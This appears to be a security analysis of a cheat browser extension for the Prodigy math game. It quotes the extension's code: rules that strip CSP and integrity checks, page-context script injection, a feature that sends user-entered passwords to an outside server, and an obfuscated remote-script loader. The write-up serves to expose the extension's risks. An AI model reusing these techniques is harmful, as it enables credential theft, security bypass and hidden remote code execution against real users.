Prodigy Hacking Extension | X Loader

The declarativeNetRequest rule strips both the Content-Security-Policy and X-Frame-Options response headers from every prodigygame.com page load. Removing CSP disables all browser-enforced script/source restrictions on the target site, enabling arbitrary JavaScript injection. This is a prerequisite for the subsequent script injection performed by contentScript.js to succeed without triggering browser security blocks.

[  {    "id": 2,    "priority": 1,    "action": {      "type": "modifyHeaders",      "responseHeaders": [        {          "header": "content-security-policy",          "operation": "remove"        },        {          "header": "x-frame-options",          "operation": "remove"        }      ]    },    "condition": {      "urlFilter": "*://*.prodigygame.com/*",      "resourceTypes": [        "main_frame"      ]    }  }]

The content script uses the setAttribute("onreset", code) + dispatchEvent("reset") pattern to execute arbitrary JavaScript in the main page context rather than the isolated content script context. This bypasses Chrome's content script sandboxing entirely: code set as an inline event handler on the document element runs with page-level privileges and has access to all page globals. The injected payload is a patched version of the game binary concatenated with the full cheat bundle.

window.scriptIsInjected || (window.scriptIsInjected = !0, setTimeout((async function() {      try {        const e = await fetch(chrome.runtime.getURL("game.min.js"))          .then((e => e.text())),          ...          o = await fetch(chrome.runtime.getURL("extension-bundle.js"))          .then((e => e.text()));        document.documentElement.setAttribute("onreset", `${n}\nSW.Load.decrementLoadSemaphore();\n${o}`          .replaceAll("new URL", "new window.URL")), document.documentElement.dispatchEvent(new CustomEvent(          "reset")), document.documentElement.removeAttribute("onreset")      } catch (e) {        alert("Failed to load hack\n" + e.message)      }    }), 1e3)

The 'Generate Alt Account' feature prompts the user for a username and password, then transmits them as plaintext query parameters to a third-party server (hostedposted.com) which is not affiliated with Prodigy. The server returns credentials and a token, and the extension then uses that token to POST a full copy of the player's character data to the generated account. This routes both user-supplied credentials and the entire player save-state through an operator-controlled third-party server.

const [n, o] = await (await fetch(  `https://prodigy-api.hostedposted.com/generate-account?${new URLSearchParams({username:await r.oP.string("Please enter your username..."),password:await r.oP.string("Please enter your password"),lastInitial:await r.oP.string("Please enter your last initial")})}`)).json(),  a = `Basic ${btoa(`${n}:${o}`)}`, {    token: s,    userID: i  } = await (await fetch("https://prodigy-api.hostedposted.com/token", {    headers: {      Authorization: a    }  })).json(),  l = await fetch(`https://api.prodigygame.com/game-api/v3/characters/${i}`, {    headers: {      authorization: `Bearer ${s}`,      ...    },    body: JSON.stringify({      data: JSON.stringify(t.getUpdatedData(!0)),      userID: i    }),    method: "POST"  });

An obfuscated script block using RC4-based string encryption and a shuffled string array is injected into the page via innerHTML. The obfuscation technique — rotating an encoded string array, decrypting with XOR/atob, and using new Function() to obtain the global object while evading strict-mode checks — is a hallmark of malicious payload loaders. The decoded logic appears to dynamically append script elements with external URLs (indices 0x10/0x13 map to URL fragments), meaning additional remote code is loaded at runtime whose content cannot be statically audited from this bundle.

const e = document.createElement("script");e.innerHTML =  "\n    /*<![CDATA[/* */\n    (function(){if(window.d1eec7c43b3c7f4b016e0e70f4230f35) return; window.d1eec7c43b3c7f4b016e0e70f4230f35=\"Ef7yMrXy...\";var a=['acOtQ3NVXg==','fsOrV3tQRhU=',...];(function(b,e){var f=function(g){while(--g){b['push'](b['shift']());}};f(++e);}(a,0x192));var b=function(c,d){...var h;try{var j=Function('return (function() '+'{}.constructor(\"return this\")( )'+');');h=j();}...b['UyOqLS']=g;...};var q=window;q[b('0x0','C@ZR')]=...;var l=[b('0x18','l*ev'),b('0x12','bQiM')],y=0x0,w,j=function(){if(!l[y])return;w=q[b('0x17','$iUD')][b('0xb','nEFX')](b('0xe','Z&4H'));w[b('0x15','wXgL')]=b('0x13','@7a&');...w[b('0x2','87TI')]=b('0x10','KT$0')+l[y];...c[b('0x19','FI9Z')][b('0x9','pk&p')](w,c);};j();})();\n    /*]]>/* */    \n    ",  document.head.appendChild(e)

The extension blocks the legitimate game.min.js file from Prodigy's CDN using declarativeNetRequest, preventing the real game code from loading. This is the first step in a man-in-the-browser attack: the original script is suppressed so the extension can inject its own modified version (fetched via chrome.runtime.getURL) that has had game internals exposed and the cheat bundle appended.

{  "id": 1,  "priority": 1,  "action": {    "type": "block"  },  "condition": {    "urlFilter": "https://code.prodigygame.com/code/*/game.min.js?v=*"  }}

The extension iterates over every <script> and <link> element on the page and removes their integrity attributes, disabling Subresource Integrity (SRI) checks. SRI prevents browsers from executing scripts whose content does not match a known cryptographic hash; removing these attributes silences any browser rejection of the substituted or modified game.min.js before the replacement injection occurs.

console.group("integrity patches"), [...document.getElementsByTagName("script"), ...document.getElementsByTagName("link")].forEach((e => {e.integrity && (console.log(e.integrity), e.removeAttribute("integrity"))})), console.groupEnd());

The extension uses regex-based patching to surgically modify the game's minified JavaScript at runtime, injecting getters onto a global object (window.priorLodash) that expose the game instance, player object, network handler, game data, and constants. The `network` reference specifically exposes the HTTP client context used for API calls, which can be leveraged to forge authenticated requests to Prodigy's backend. An interval ensures the patched lodash reference is never replaced.

const n = [  [/s\),this\._game=(.)/,    `s),this._game=$1;window.priorLodash = window._;Object.defineProperty(window.priorLodash, "game", {get: () => this._game, ...});Object.defineProperty(window.priorLodash, "player", {get: () => window._.${...}, ...});Object.defineProperty(window.priorLodash, "network", {get: () => window._.player.game.input.onDown._bindings[0].context, ...});setInterval(() => {if(window.priorLodash!==window._){window._=priorLodash;}}, 100);`  ]].reduce(((e, [t, n]) => e.replace(t, n)), e)

The extension injects Google Analytics (measurement ID G-SENY5K9EWR) into every Prodigy game session and fires a custom 'uses_extension' event, allowing the extension author to track the full population of users running the extension including browsing session metadata. This happens without user consent and is injected into a third-party site the user is visiting.

const ct = document.createElement("script");ct.src = "https://www.googletagmanager.com/gtag/js?id=G-SENY5K9EWR", document.head.appendChild(ct);const dt = document.createElement("script");dt.innerHTML =  "window.dataLayer = window.dataLayer || [];\nfunction gtag(){dataLayer.push(arguments);}\ngtag('js', new Date());\n\ngtag('config', 'G-SENY5K9EWR');\ngtag('event', \"uses_extension\");\n",  document.head.appendChild(dt);